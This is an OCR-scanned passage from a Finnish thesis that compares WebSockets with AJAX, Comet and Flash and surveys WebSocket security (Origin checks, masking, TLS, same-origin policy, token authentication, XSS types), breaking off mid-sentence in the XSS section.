Laajennosten kéttotarkoitukseen ei anneta protokollamddritelmdssd tdsméllisid ohjeita.
Mairitelmdn antavat rajoitukset liittyvdt pelkdstddan kaytettdvissd oleviin otsakekenttiin ja
laajennosten lisdamid data tulee liittdd payload-data-kenttdén ennen varsinaista sovellustason

viestisisaltoa.
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4. Vertailu muihin tekniikoihin

Verkkosovellukset ovat uuden muutoksen alla. Sovelluksista halutaan entistd enemmaén
tyopoOytasovellusten kaltaisia, mikd vaatii monessa tapauksessa aktiivista tiedon péaivittdmista
palvelimen aloitteesta. Websocket-teknologia kehittimisen motivaationa oli vastata tdhidn
tarpeeseen ja tuoda avoimeen standardiin perustuva tdysin kaksisuuntaisen yhteyden teknologia
verkkosovelluskehittéjille. Websocket-teknologian on méard korvata HTTP-protokollaan perustuvat
Comet-tekniikat ainakin suuressa osassa kiyttotapauksia, ja siitdi on mahdollista tulla seuraava
pddasiallinen protokolla verkkosovelluksissa. Websocketeilla kuten kaikilla muillakin
teknologioilla on vahvuutensa ja heikkoutensa, joten on syytd pohtia sovelluksen tarpeiden
ndkokulmasta, mikéd protokolla tai teknologia soveltuu sithen parhaiten. Téssd luvussa websocket-

teknologiaa verrataan toistaiseksi yleisempiin teknologioihin.

4.1. AJAX (HTTP)

HTTP-protokollaan perustuva AJAX-teknologia on hyvin yleisesti kéytetty teknologiajoukko
verkkosovellusten kehittdmisessd. AJAX:n yksityiskohdat esiteltiin kohdassa 2.6. Valtaosa
nykyisistd suosituimmista verkkosovelluksista, kuten Gmail ja Facebook perustuvat AJAX-
teknologiaan [Ying and Miller, 2013]. AJAX:n suosio alkoi kasvaa Web2.0:n yleistyessd, silld se
mahdollistaa asynkronisen tiedon pdivittdmisen verkkosivulle. Koko sivun uudelleen lataaminen
HTTP-pyynndlld on useassa tapauksessa tehotonta ja tarpeetonta etenkin, jos vain pieni osa sivun
siséllostd  tarvitsee pdivittamistd. Télld hetkelld AJAX on vakiinnuttanut paikkansa
verkkosovellusten kommunikointiteknologiana, mutta websocket-teknologia voi kuitenkin nousta
haastamaan AJAX:ia verkkosovellusten oletuskommunikointiteknologiana.

Websocket-protokollan otsake on huomattavasti kevyempi kuin HTTP-protokollan, joten
websocket-teknologialla saavutetaan huomattavasti parempi suoritusteho etenkin sovelluksissa,
jotka kuljettavat jatkuvasti tietoa asiakkaan ja palvelimen vililld. Websocket-protokolla tosin vaatii
oman verkkopistokkeen jokaista asiakasta kohti, mutta HTTP voi helposti uudelleen kayttdd
yhteyksid ja verkkopistokkeita. Yhtdaikaisten kéyttdjien mddrd HTTP-protokollalla voi olla
suurempi kuin webscoket-protokollalla. Molemmilla teknologioilla kuljetettavan tiedon muoto
voidaan madritelld sovellustasolla. Ying ja Miller [2013] ovat tutkineet AJAX:n suorituskykyd
XML- ja JSON-tietoformaattien kanssa ja todenneet, ettdi JSON-muodossa suorituskyky on
huomattavasti parempi. Websocket-protokolla mahdollistaa my6s keveiden tietoformaattien kuten
JSON:n kiyton.

Tietoturvan kannalta AJAX vanhempana teknologiana on tunnetumpi ja tutkitumpi kuin

websocket-teknologia [Li et al., 2014; Ritchie, 2007]. Nykyinen valtava verkkoinfrastruktuuri on
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rakennettu HTTP-protokollan ehdoilla, joten kaytdnnossd kaikki tai ainakin suurin osa
tietoturvalaitteista ja -sovelluksista toimii oikein AJAX-teknologian kanssa. Websocket-protokolla
on vield tuntemattomampi tietoturvalaitteille [Cassetti, 2011].

WWW:n piiasiallinen arkkitehtuurityyli on nimeltdén Representational State Transfer (REST).
REST kuvaa yhdenmukaisen tavan, jolla luodaan, luetaan, piivitetddn ja poistetaan tietoa, ja ndiden
lisédksi yhdenmukaisen globaalin osoitteen resursseille. REST-arkkitehtuurin kehittiminen kulki
kési kiddessa HTTP-protokollan version 1.1 kehityksessd, ja siksi HTTP-metodeilla on voimakas
analogia REST-operaatioiden kanssa. Sovellusarkkitehtuurit kuvataan joukkona komponentteja,
niiden vilisid yhteyksid ja rajoituksia tai médrdyksid komponentteihin ja niiden vélisiin yhteyksiin.
REST-arkkitehtuuriin kuuluu seuravaavat mééritykset: asiakas-palvelin, tilaton, vélimuistitettava,
tasoissa madritelty, asiakkaan toiminnallisuuden laajentaminen ja yhdenmukainen rajapinta.

Suuri osa Internetin palveluista noudattaa REST:n kaltaista arkkitehtuuria, joten sen avulla on
mahdollista rakentaa monimutkaisempia useista palveluista koostuvia jérjestelmid. REST-ajattelun
yhdenmukaisuus on sen voimakkain piirre. HTTP-pohjaisilla teknologioilla voidaan helposti
hy6dyntda titd valmiina olevaa voimavaraa.

REST-ajattelun semantiikkaan websocket-protokolla ei sovellu kovin luontevasti nykyiselld
websocket-madritykselld. Websocket-protokollan HTTP-yhteensopivuus rajoittuu  ainoastaan
kattelyprosessiin. WWW:n toteuttama REST perustuu voimakkaasti HTTP-protokollan metodeihin,
joiden vastinetta websocket-protokollassa ei ole. Websocket-protokollaan laajennoksien kautta on
kuitenkin mahdollista lisdtd HTTP-metodien kaltainen semantiikka viesteille. Lisdksi REST:n
rajoituksiin kuuluu tilattomuus ja my0s siten websocket-protokolla on ristiriidassa REST-ajattelun
kanssa eikd websocket-protokollassa ole mekanismid ldhettdd komentosarjakoodeja asiakkaalle.

Websocket-protokollaa voidaan tosin kiyttdd kuljetustasona ylemmidn tason protokollalle.
Esimerkiksi Nakajima ja muut [2013] kehittivit jirjestelmén, joka asiakkaan péddssd suoritettavan
vilityspalvelimen kautta ldhettdd HTTP-protokollan kutsut websocket-yhteyden yli. Heidén
mukaansa etenkin mobiililaitteilla ja -verkoilla websocketin pienempi latenssi johtuen
vihennetyistd TCP-kéttelyistd parantaa suorituskykyd huomattavasti. Nakajiman ja muiden
kehittimdn  kaltaisella  ohjelmistokehykselld ~ voidaan periaatteessa myOds normaalissa
selainympadristossd 1dhettdd REST-yhteensopivia kutsuja websocket-yhteyden yli.

Websocket-protokollaa ei varsinaisesti ole suunniteltu korvaamaan AJAX:ia. Nédiden kahden
teknologian kayttotilanteen eivit ole tdysin samat vaikka pédllekkidisyyttd 10ytyy ja websocket-
teknologia on paéllisin puolin suorituskyvyltddn parempi. AJAX:lla voidaan myds hyddyntdd
olemassaolevia REST-rajapintoja. = Teknologioita vertailtaessa on otettava huomioon
verkkosovelluksen kayttotarkoitus ja erityisesti kdyttoliittymén piirteet. AJAX toimii edelleen hyvin

sovelluksissa, joissa pddasiassa tila muuttuu vain, kun kayttdja tekee syodtteen. Jos taas sovellus
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tarvitsee jatkuvaa kayttoliittymdn pdivittimistd ilman kiyttdjdn syotettd, on websocket parempi

ratkaisu.

4.2. Comet

Comet-tekniikat perustuvat myos HTTP-protokollaan. Niilld simuloidaan tdysin kaksisuuntainen
yhteys selaimen ja palvelimen vilille ldhettdimédlla asiakkaalta jatkuvasti HTTP-pyyntdja
palvelimelle. Comet on toistaiseksi yleisin kaksisuuntaisen yhteyden tekniikka verkkosovelluksissa
[Rakhunde, 2014].

HTTP poll -tekniikalla asiakasohjelmasta eli selaimesta ldhetetddn jollakin tietylld intervallilla ¢
uusi HTTP-pyyntd palvelimelle tiedon piivittimiseksi. Palvelin vastaa viestiin valittomasti
riippumatta siitd, onko kyselyn kohteena oleva resurssi tai tieto paivittynyt edellisestd pyynnosta.
Téstd johtuen kéytdnndssd mahdollisesti suuri osa asiakkaan ldhettdmistd HTTP-pyynnoistd on
turhia ja aiheuttavaa yliméérdistd prosessointia. Jos resurssin pdivittymisen intervalli on
entuudestaan tiedetty, voidaan asiaakkan kéyttdma intervalli ¢ synkronoida sen kanssa, jolloin on
mahdollista vélttya tai ainakin vihentda turhia pyyntdja.

HTTP long-poll on periaatteeltaan HTTP poll:n kaltainen. Long-pollin tapauksessa palvelin ei
valttdmattd vastaa jokaiseen kyselyyn vilittomaisti, jos pyydettivd resurssi ei ole péivittynyt.
Pyynnossd muodostettu TCP-yhteys jétetddn auki kunnes resurssi on pdivittynyt ja vasta sitten
palvelin ldhettdd HTTP-vastauksen, tai jokin tietty aika on kulunut. Long-poll tekniikalla
palvelimen on my0s tiedettivd milloin asiakkaan resurssi on viimeksi pdivitetty. Resurssin
paivittdmisen aikaleima voidaan ldhettdd osana kyselya.

Comet-ohjelmointitekniikat lisddvit tietoliikenteeseen yliméérdistd dataa, silld jokaisen viestin
on siséllettivd HTTP-otsakkeet. Otsakkeen koko vaihtelee, mutta joissakin tapauksissa se voi olla
jopa 2000 tavua [Rakhunde, 2014]. Otsakkeiden koolle ei ole mairiteltyd yldrajaa, mutta usein
HTTP-palvelimet asettavat omat rajoituksensa. Sovellustasolla ei mydskddn voida vaikuttaa sithen
mitkd HTTP-otsakkeet liitetddn pyyntdihin, jolloin on mahdollista, ettd pyynndissd kulkee
tarpeettomia otsakkeita.

Jos esimerkiksi pelkdn tulevan ja ldhtevin HTTP-otsakkeen koko on 100 tavua ja
kyselyintervallin #:n arvo on 1 sekunti, ja yhtdaikaisten asiakkaiden lukumdird on 500, saadaan
yhden paivityspyynnon suuruudeksi pelkistiin HTTP-otsakkeilla 500 * 100t * 1s * 2 = 100000 t/s.
Luku kerrotaan kahdella, silld yhteen piivityspyyntoon kuuluu kaksi HTTP-viestid. Websocket-
protokollan méérittelemin viestikehyksen koko vaihtelee 2—16 tavun vilill4, jolloin maksimikoolla
vastaavan tietoliikenteen otsakkeiden aiheuttama tietoliikenne on 500 * 16t * 1s = 8000t/s. Myds
Rakhunde [2014] osoittaa, ettd websocket-protokollan viestikehyksestd aiheutuva tietoliikenne on
useita kertaluokkia pienempi kuin HTTP-poll -menetelmiin perustvan liikenteen.

Websocket-teknologia suorituskyvyn nédkokulmasta on ylivoimainen verrattuna Comet-

tekniikoihin. Useat eri sovellusalojen tutkimukset ovat piédtyneet kéyttimddn websocketteja
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[Lomotey et al., 2012; Chen ja Xu, 2011]. Comet-tekniikat kuitenkin voivat 10ytdd oman paikkansa
myos tulevaisuudessa sellaisissa verkkosovelluksissa, jotka tarvitsevat palvelimelta tietyin viliajoin
pdivitettyd tietoa, mutta eivét ole kovin vaativia suoritusteholtaan. Lisédksi REST-arkkitehtuurin
mukailemisesta on huomattavaa hyotya.

Websocket-teknologia tulee varmastikin korvaamaan Comet-tekniikat useilla sovellusaloilla.
Reaaliaikaista tiedonpdivitystd vaativia verkkosovelluksia kdytetdéin useilla teollisuudenaloilla ja
etenkin selainpohjaiset pelit tulevat hyotymidin paljon websocket-teknologiasta [Rakhunde, 2014 ;
Pimentel ja Nickerson, 2012; Lomotey et al., 2012, Chen ja Xu, 2011].

4.3. Kolmansien osapuolien teknologiat

Aiemmin esiteltyjen ratkaisujen lisdksi kolmansien osapuolien kehittimid selainlaajennosratkaisuja
(engl. plugin) kaytetdéin verkkosovellusten kehittdmisessd. Tunnettu esimerkki on Adoben
kehittdma Flash-tekniikka, johon kuuluvalla rajapinnalla voidaan avata tdysin kaksisuuntainen
yhteys. Rajapinnalla muodostettava yhteys tehddédn TCP-protokollan yli, mutta rajapinta ei paljasta
puhdasta TCP-rajapintaa sovellustasolle. Flashin rajapintadokumentaation mukaan ActionScript-
socket -rajapinnan kautta voi ldhettd4 ainoastaa binddrimuodossa olevaa dataa.

Palomuurien ja muiden internetin vélityspalvelimien kanssa voi esiintyd ongelmia kolmansien
osapuolien teknologioiden kanssa, silld ne eivdt noudata standardoituja portteja. Lisdksi
vilityspalvelimet eivit valttamatta kayttdydy odotetusti tunnistamattomien protokollien kasittelyssa.

Zhu ja muut [2012] kehittivit websocket-protokollaan ja muihin HTMLS5-tekniikoihin
perustuvan videokameravalvontasovelluksen. Heiddn mukaansa websocket-protokolla wvalittiin
esimerkiksi Flashin sijaan siksi, ettd avoimeen standardiin perustuva protokolla tulee
todennékoisesti saamaan laajempaa ja jatkuvaa tukea ohjelmistovalmistajilta. Zhu ja muut ja Zhang
[2012] my0Os raportoivat, etti useimmat selainkehittijit tulevat luopumaan Flashin tukemisesta

1dhitulevaisuudessa.
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5. Websockettien tietoturva

Tietoturvan ndkokulmasta websocket-protokollaa on syytd tarkastella huolellisesti. Protokolla on
vield verrattain nuori, ja vaikka websocket-teknologiaa hyodyntidvid sovelluksia kehitetddn yha
enemmaédn, on protokolla silti vield melko tuntematon sekd sovelluskehittijille ettd tietoturva-
asiantuntijoille [Zhang, 2012]. Huolimatta tietoturva tietoisuuden levidmisestd ja alan kasvusta,
verkkosivuhaavoittuvuudet ovat hyvin yleisid [Tripp, 2013]. Yleisimmit tietoturvaan liittyvat
haavoittuvuudet etenkin verkkosivupohjaisissa sovelluksissa ovat riippumattomia siitd, mitad
yhteysprotokollaa sovellus kéyttdd kommunikointiin palvelimen kanssa sovellustasolla. Websocket-
protokolla kuitenkin mahdollistaa uusia hyokkdysvektoreita, joita ei yleisesti tunneta kovin hyvin.
Webscoket-teknologian ja yleisten haavoittuvuuksien hyvéksikédytot sekd suorat verkkohyokkaykset
altistavat sovelluksia monin tavoin ja monella vakavuustasolla pienestd kiusanteosta aina
arkaluontoisen tiedon menettdmiseen ja palveluiden kéyton estdmiseen, joista voi koitua
taloudellista haittaa.

Websocket-protokollamééritelmd huomioi seuraavaa tietoturvaseikoista. Vaikka protokolla on
alun perin suunniteltu kéytettaviksi pddasiassa selainohjelmissa, sitd ei ole sidottu milldédn tavalla
pelkistddn selainymparistoon. Muut asiakasohjelmat tuovat mukanaan tietoturvaseikkoja, jotka on
syytd huomioida. Kéttelyn yhteydessa ldhetettdavin Origin-otsakkeen on tarkoitus antaa palvelimelle
mahdollisuus karsia yhteyksid muista kuin luotetuista ldhteistd, mutta timéd otsake on hyvin helppo
vadrentdd asiakasohjelmassa. Otsaketta ei siis tule pitdd tdysin luotettavana, mikd on otettava
huomioon palvelinsovelluksessa. Selaimesta perdisin olevista kittelyviesteistd Origin-otsake 16ytyy
aina. Palvelinohjelma voi rajata yhteyden muodostamisen vain luotetuiksi katsotuista ldhteistd.
Otsakkeen tarkistaminen jdd kuitenkin ohjelmistokehittdjédn vastuulle, silld protokolla itse ei ota
kantaa tdimén otsakkeen sisaltoon.

Protokolla on suojattu vilityspalvelimia kohtaan tehtyjda hyokkdyksid vastaan varsinaisen
viestisisdllon naamioimisella. Vilityspalvelimien ja muiden verkkoinfrastruktuuriin kuuluvien
valittdjien  kdyttdimdd vélimuistia voidaan manipuloida tehtailemalla niin  sanottuja
valityspalvelimen vilimuistin saastuttamishyokkéyksia (engl. proxy cache poisoning). Jos asiakas ei
itse pysty ennustamaan viestin sisdltod, ei se myOskddn pysty syottiméddn haitallista dataa
valityspalvelimen muistiin. Téastd syystd websocket-protokolla kdyttdd satunnaista maskausavainta
viestien siséllon sekoittamiseen. Vilityspalvelinten saastuttaminen kisitellddn kohdassa 6.2.

Monet vélityspalvelimet, palomuurit ja muu infrastruktuuri eivdt myoskéén tunne websocket-
protokollaa ja siksi ne voivat kéyttdytyd odottamattomalla tavalla késitellessddan websocket-
litkkennettd ja myos HTTP-kéttelypyyntod [Kulshrestha, 2013; Cassetti, 2011]. Ennen kuin

protokolla yleistyy ja sitd tukevaa infrastruktuuria on laajemmin verkossa on syytd varautua juuri
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vilityspalvelimien epéluotettavaan kéyttdytymiseen. Téstd syystd websocket-lilkenne on syytd
kryptata TLS-tasolla silloinkin, kun viestiliikenteeseen ei kuulu arkaluontoista informaatiota.
Tiedon kryptaaminen estdd vélikésid lukemasta tietoa ja vilityspalvelimien vddrinkaytoksid. TLS-
taso kryptaa myds websocket-viestin otsakkeen, jolloin vilityspalvelimet eivdt vahingossa tee
virheellisid operaatioita.

Joissain websocket-protokollan toteuttavissa ymparistdissd voi olla tiettyja rajoituksia, jotka
voivat vaarantaa tieturvaa ja avata kulmia hyokkéyksille. Esimerkiksi rajaamatonta viestipituutta
voidaan hyodyntdd palvelunestohyokkdyksissd, joilla pyritddn tiyttdmddn uhrin keskusmuisti.
Toteuttavien tahojen tulee itse suojautua timéankaltaisilta hyokkéyksilta.

Yhteyden salaamiseen protokolla hyddyntdd myods olemassa olevia tekniikoita. Protokollasta
médritelty salattu versio wss:// suojataan TLS-suojatasolla. Téssd tapauksessa tiedon integriteetti
riippuu kéytetystd TLS-suojauksesta, jonka on osoitettu olevan luotettava [Gajek et al., 2008].
Viestien sisdltd on myds maskattu, mutta maskaamisella ei saavuteta luotettavaa salausta, silld
maskausavain liitetddn selkokielisend viestinotsakkeeseen. Minkd tahansa manipuloivan vilittdjén
on triviaalia lukea suojaamaton viesti ja kdyttdd tunnettua maskausalgoritmia viestin lukemiseen.

Molempien vastaanottavien paitepisteiden tulee validoida kaikki liikenne ja sulkea yhteys, jos
vastaanotettu viesti rikkoo maédritelmdn mukaisia vaatimuksia. Kéttelyssd tapahtuneeseen
virheeseen palvelimen tulee vastata sopivalla HTTP-virheelld. Kittelyn jilkeen websocket-
litkenteen aikana tapahtuneeseen protokollavirheeseen vastataan ensin sopivalla sulkemisviestilld,
joka sisdltdd virhekoodin ja sen jélkeen yhteys suljetaan.

Verkkoturvallisuuden perusperiaatteisiin kuuluu niin sanottu sama-ldhde -periaate (engl. same-
origin policy), joka tarkoittaa, ettd vain samasta ldhteestd perdisin olevien dokumenttien sallitaan
olevan yhteydessi toistensa kanssa. Periaatteen mukaan kahden 14hteen katsotaan olevan sama, jos
ja vain jos niilld on sama iséntd, sama portti ja sama protokolla. Timi periaatteessa tarkoittaa myos
sitd, ettd esimerkiksi tietystd isdnndstd perdisin oleva komentosarjakoodi voisi avata websocket-
yhteyden vain siithen isdntddn, josta koodi on perdisin. Sama-ldhde -periaate on tosin useassa
tapauksessa liian rajoittava, etenkin suurten verkkosovellusten tapauksessa, joihin on syytd hakea
komponentteja useasta ldhteestéd. Periaatteeseen on mahdollista tehdd poikkeuksia. Haetun resurssin
tai dokumentin HTTP-otsakkeeseen voidaan lisdtd otsake Accept-Origin, joka sallii siind listatuista
isdnnistd perdisin olevien dokumenttien kisitelld alkuperdistd dokumenttia. Sama-ldhde -periaatetta
lieventdvistd mallista kiytetddn nimitystd Cross-Origin Resource Sharing (CORS). CORS-
menetelma on virallisesti W3C:n médrittelema.

Stamm ja muut [2010] ehdottavat sama-l1dhde -periaattetta mukailevan turvallisuusmallin, jolla
voidaan estdd tietoturva-aukkojen hyviksikdyttiminen. He nimedvdt mallinsa Content Security

Policyksi.
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Websocket-protokollamédritelmédn ei-normatiivisessa osassa mainitaan, ettd protokolla
noudattaa esiteltyd sama-lahde -periaatetta. Médritelmd ei kuitenkaan johdannon jilkeen osoita
kuinka periaate toteutuu protokollassa, ja kéytdnnon kokeiden perusteella periaatteen
noudattaminen ei tapahdu [Stamm et al, 2010; Bielova, 2013; Kulshrestha, 2013]. Tamén
tutkielman kokeellisessa osassa todettiin, ettd kdytetyt versiot testatuista selaimista (Opera 12.17,
Google Chrome 35.0.1916.114 m) eivdt estd websocket-yhteyksid luottamattomiin isdntiin.
Websocket-protokolla ja -ohjelmointirajapinta eivét siis toteuta sama-ldhde -periaatetta, ja timé on
otettava huomioon palvelinsovelluksen tietoturvamééarityksessa.

Seuraavaksi paneudutaan tarkastelemaan tietoturvaan liittyvid yksityiskohtia. Aluksi
tarkastellaan kéyttdjén tunnistamiseen liittyvid seikkoja yleisesti ja websocket-protokollan kannalta.
Kohdissa 5.2 — 5.8 paneudutaan tarkastelemaan yleisimpid haavoittuvuuksia verkkosovelluksissa ja
sitd milld tavoin websocket-teknologiaa voidaan kéyttda hyvéksi verkkohyokkayksissé. Internetissé
julkaistava OWASP-projekti (Open Web Application Security Project) ylldpitdd vuosittain
paivitettdvad listaa yleisimmistd ja haitallisimmiksi katsotuista haavoittuvuuksista. OWASP on
itsendinen hyvéntekevéisyysjdrjestd, joka on perustettu vuonna 2001. Vuonna 2013 OWASP:n

kymmenen kérjen listalla oli useimmat seuraavissa kohdissa esitettdvistd haavoittuvuuksista.

5.1. Kayttijian tunnistaminen

Alkuperdinen staattinen ja tilaton WWW ei tarvinnut minkdénlaista kdyttdjédn tunnistamista, koska
sen perimmaéinen tarkoitus oli jakaa tietoa kaikille, ei salata tai rajata sitd vain tietyille kayttdjille.
HTTP-protokollaan lisdttiin myohemmin menetelmid kéyttdjdn tunnistamiseen hyodyntien HTTP-
protokollan joustavaa otsakemaiirittelyd. Nykyisin ldhes poikkeuksetta verkkosovelluksisasa
kayttdjédn tunnistamiseen kéytetadn HTTP-evisteitd. Padpiirteissdén tunnistaminen tapahtuu siten,
ettd kayttdja lahettdd HTTP-lomakkeella (tai muulla tekniikalla, kuten AJAX:lla) tunnus ja salasana
-parin palvelimelle, jonka validoimisen seurauksena palvelin ldhettdd vastauksessa yksiloivin
tunnisteen. Tunniste tallennetaan selaimen evésteisiin, ja se liitetddn jokaiseen samaan isdntidin
lahetettdvddan pyyntoon. Palvelin luo uuden istunnon tunnistetulle kayttdjélle ja liittdd tunnisteen
istuntoon, jotta seuraavat pyynndt voidaan osoittaa oikeaan istuntoon. Istunto voi olla kiynnistetty
palvelinprosessi.

Kayttdjdn tunnistaminen yleisesti on ollut useiden tutkimusten kohteena [Bonneau et al., 2012;
Adida, 2007]. Kayttdjatunnus ja salasana on toimiva tapa tunnistamiseen, mutta uusien
teknologioiden kehittyessd kayttdjan tunnistamisen menetelmid on alettu hakea muualtakin.
Bonneau ja muut vertailevat vaihtoehtoisia menetelmid kéyttdjan tunnistamiseen ja tarjoavat
viitekehyksen menetelmien arvioimiseen.

Websocket-protokollaan ei ole maédritelty erillistdi mekanismid tai teknologiaa kéayttdjan

tunnistamiseen, vaan se tunnistuksessa ja autorisoinnissa tukeutuu HTTP-pohjaisiin
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tunnistusmenetelmiin. Tunnistustiedot ldhetetddn websocket-kéttelypyynndssd tavanomaisina
HTTP-otsakkeina.

Websocket-viestit eivdt sisdlli HTTP-otsakkeita, joten ne eivdt myOskddn sisdlld
tunnistusinformaatiota. Laajennoksilla on tosin mahdollista lisdtd viesteihin myds tunnistetietoa
lisdadmain tietoturvaa. Websocket-kéttely on siis kriittinen osa kéyttdjan tunnistamista ja siten koko
yhteyden luotettavuutta. Seuraavissa kohdissa esitetdéin, miten ulkopuolinen hyokkadja voi paistd
kattelyyn kéasiksi hyddyntden tunnettuja verkkohaavoittuvuuksia. Vaikka kéttelyprosessia olisi
edeltanyt onnistunut kéyttdjdn tunnistaminen esimerkiksi kiyttdjdtunnus ja salasana parilla, on
mahdollista, ettd websocket-yhteys voidaan kaapata. Yhteys on mahdollista avata luottamattomasta
lahteestd perdisin olevalla komentosarjakoodilla, jolloin myds hyokkddja padsee késiksi
tunnistetietoihin.

Evésteiden sijaan kéyttdjdn tunnistamiene kirjautumisen jdlkeen voidaan todentaa
tunnisteavaimella (engl. token). Tunnisteavain on ainoastaan palvelimen tiedossa oleva merkkijono,
joka ldhetetdéin asiakkaalle onnistuneen autentikoinnin yhteydessd. Avainta ei tallenneta selaimen
pysyvéddn muistiin, vaan se sdilyy ainoastaan hetken aikaa asiakkaan tietokoneen keskusmuistissa.
Avain ldhetetdéin websocket-kittelyssd takaisin palvelimelle, joka voi todentaa pyynndn aitouden.
Koska websocket-yhteys on jatkuva, ei avainta endé tarvita yhteyden avaamisen jilkeen. Avainta ei
missddn vaiheessa tallenneta selaimen evisteisiin, joten hyokkéajat eivit padse hyddyntdméén sitd
yleisesti tunnetuilla hyokkdysmenetelmilld. Tunnisteavaimeen perustuva kéyttdjén tunnistaminen on
turvallisempi vaihtoehto evésteisiin verrattuna websocket-teknologian kannalta.

Koska websocket-protokolla on tilallinen, avaa se enemmin mahdollisuuksia tunnistetun
kéayttdjén aloittamaan istuntoon. HTTP-tunnistautumismenetelmien tuomasta monimutkaisuudesta
voidaan pdésti eroon.

Jos websocket-protokolla alkaa etddntymddn HTTP:std ja sen kittelyprosessi muuttuu, voidaan
kayttdjdn tunnistaminen suorittaa muilla menetelmilld suoraan kittelyn yhteydessd ilman HTTP-
otsakkeita. HTTP-otsakkeihin perustuva tunnistaminen on aina tiettyjen haavoittuvuuksien
armoilla. Websocket-protokollan tunnistautuminen voisi tapahtua SSH-protokollan kaltaisella

prosessilla.

5.2. Viilityspalvelinten vélimuistin saastuttaminen

Verkkoinfrastruktuuriin kuuluvat vélityspalvelimet voivat myds olla hyokkdysten kohteina ja niiden
toimintaa voidaan manipuloida muita isdntid vastaan tehtyjen hyokkaysten mahdollistamiseksi.
Viilityspalvelimet tallentavat usein vilimuistiin niiden kautta kulkeneita viestejd verkkoliikenteen
tehostamiseksi. Yleinen tapa on tutkia asiakkaalta tulleiden HTTP-pyyntdjen otsakkeita ja
palvelimen vastauksen sisdltod. Usein toistuvat tdsmélleen samat otsakkeet ja niiden arvot siséltavét

vastausviestit tallennetaan valimuistiin.



43

Vilityspalvelimen vilimuisti on mahdollista saastuttaa haitallisella komentosarjakoodilla.
Asiakkaalle vilityspalvelimen vélimuistista saapuva HTTP-vastaus ndyttdytyy saapuvan
luotettavasta ldhteestd, jolloin se saa selaimessa luotetun ldhteen oikeudet. Vélimuistiin on
mahdollista syottdd mielivaltaista sisdltod siten, ettd hyokkddja manipuloi vilityspalvelimen kautta
kulkevaa tietoliikennettd ndyttimién siltd, ettd vastaukset saapuvat luotetulta isdnnaltd. Hyokk&a)a
aloittaa viestiyhteyden selaimesta hallitsemalleen palvelimelle. Viestien varsinainen siséltd
tehtaillaan ndyttimaian normaalilta HTTP-protokollan mukaiselta viestienvaihdolta luotetun isdnnén
ja selaimen vililld, vaikka todellisuudessa viestit kulkevat hyokkddjédn palvelimelle. Hyokkadjan
palvelin voi asettaa viestien sisdllon mielivaltaisesti. Siséltd voi olla esimerkiksi haitallinen
komentosarjakoodi, joka jaa vilityspalvelimen vélimuistiin. Vilityspalvelin vilittdd tietdméttdan
haitallisen koodin kaikille sen kautta pyynnon ldhettaneille selaimille.

Websocket-protokollamédritelmédn mukaan kaikki asiakkaalta ldhtevien viestien varsinaisen
siséltd naamioidaan. Maskausavain on maddritelmdn mukaan valittava satunnaisgeneraattorilla,
jonka ldhteen entropia on oltava tarpeeksi suuri, jotta seuraavaa avainta ei ole mahdollista péatell.
Koska asiakas ei voi tietdd ldhtevien viestien tasméllistd sisdltod, ei vilityspalvelinten vdlimuistin

manipulointia voida toteuttaa websocket-protokollalla.

5.3. Cross-site scripting

Cross-site scripting, usein lyhennettynd XSS, on ollut erds yleisimmistd verkkohaavoittuvuuksista
[Bielova, 2013]. XSS-haavoittuvuus syntyy kun luotettuun verkkosivuun saadaan syotettyd
haitallinen komentosarjakoodi. Haavoittuvuuden yleisin syy on se, ettd kéyttijiltd tulevaa syotetta ei
sanitoida kunnolla. Paha-aikeinen kayttdjd voi ujuttaa esimerkiksi keskustelufoorumin viestiin
HTML-elementtejd, jotka viittaavat haitalliseen komentosarjakoodiin.

XSS-haavoittuvuus voidaan jakaa kolmeen tyyppiin, jotka vaikuttavaat hyokkéayksen laajuuteen
[Shahriah and Zulkerine, 2009]. Tallennetussa (kdytetddn myds nimitystd Type-I XSS) XSS-
haavoittuvuudessa injektoitava komentosarjakoodi tallentuu pysyvésti kohdepalvelimen muistiin,
esimerkiksi tietokantaan tai muuhun véilimuistiin. Téllaisia tapauksia ovat esimerkiksi
keskustelufoorumit ja blogien kommenttikentét. Uhri saa haitallisen komentosarjakoodin luotetulta
isdnnéltd luotetun HTTP-pyynnon yhteydessa.

Reflektoidussa haavoittuvuudessa (Type-II XSS) komentosarjakoodi ei jdd pysyvisti
palvelimelle, vaan se ainoastaan vilitetddn uhrille palvelimen kautta. Ndin voi tapahtua esimerkiksi
virheviestissd, tuloshaussa tai missd tahansa viestissd, joka sisdltdd tietoa, jonka alkuperd on
palvelimelle ldhetetyssd pyynnossd. Lopputuloksena komentosarjakoodi joka tapauksessa
ndyttdytyy luotettavana sen vastaanottajalle.

DOM-pohjainen cross-site scripting haavoittuvuus (Type-0 XSS) eroaa hieman kahdesta

edellisestd. Haitallista komentosarjakoodia ei vilitetd palvelimen kautta, vaan se injektoidaan
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esimerkiksi URL-parametrina uhrin selaimeen. Injektoitu komentosarjakoodi péétyy ajettavaksi
JavaScriptin DOM-tapahtumien prosessoinnin kautta.

Cross-site scripting -haavoittuvuus on yleisyydestddn johtuen ollut useiden tutkimusten
kohteena ja sen olemassaolon havaitsemiseksi ja estdmiseksi on kehitetty useita menetelmid
[Shahriah and Zulkerine, 2009; Wasserman and Su, 2008; Kirda et al., 2006]. Haavoittuvuuden
havaitseminen ei ole triviaalia, silld se voi esiintyd usealla eri tavalla.

Wasserman ja Su [2008] esittelevit staattiseen analyysiin perustuvan testin, joka tarkastaa
syotteen validoimisen. Shahriah ja Zulkerine puolestaan [2009] osoittavat, ettd pelkkdén staattiseen
analyysiin perustuva testaus tuottaa védrid hélytyksid ja yhdessd dynaamisen eli ajonaikaisen
testaamisen kanssa saadaan tuotettua tarkempia tuloksia. Shahriah ja Zulkerine myds esittelevit
menetelman, jolla testattavaan sivuun sydtetdin mutaatioiden kautta generoituja haavoittuvuuksia,
joita yksitellen eliminoimalla saadaan havaittua mahdollisia haavoittuvuuksia. Ndin tuotetaan
kattava testitapausten joukko cross-site scripting -haavoittuvuuden havaitsemiseksi.

Etenkin Shahriahin ja Zulkerinen kehittiman menetelmin kaltaisia menetelmid on mahdollista
ja syytd kayttdd myos websocket-teknologiaa kayttavien sovellusten testaamiseen. Testimenetelmaa
voidaan myo0s laajentaa huomioimaan websocket-rajapinnan tuomat muutokset. Shahriahin ja
Zulkerinen tutkimuksessa kéytettiin viittd JavaScript-operaattoria mutaatioiden perustana. Samaa
ajattelua voidaan laajentaa testaamaan websocket-rajapinnan kutsuja, vaikka websocket-funktiot
eivit suoraan muokkaa dokumentti mallia.

Websocket-protokollan kannalta cross-site scripting -haavoittuvuus avaa mahdollisuuden
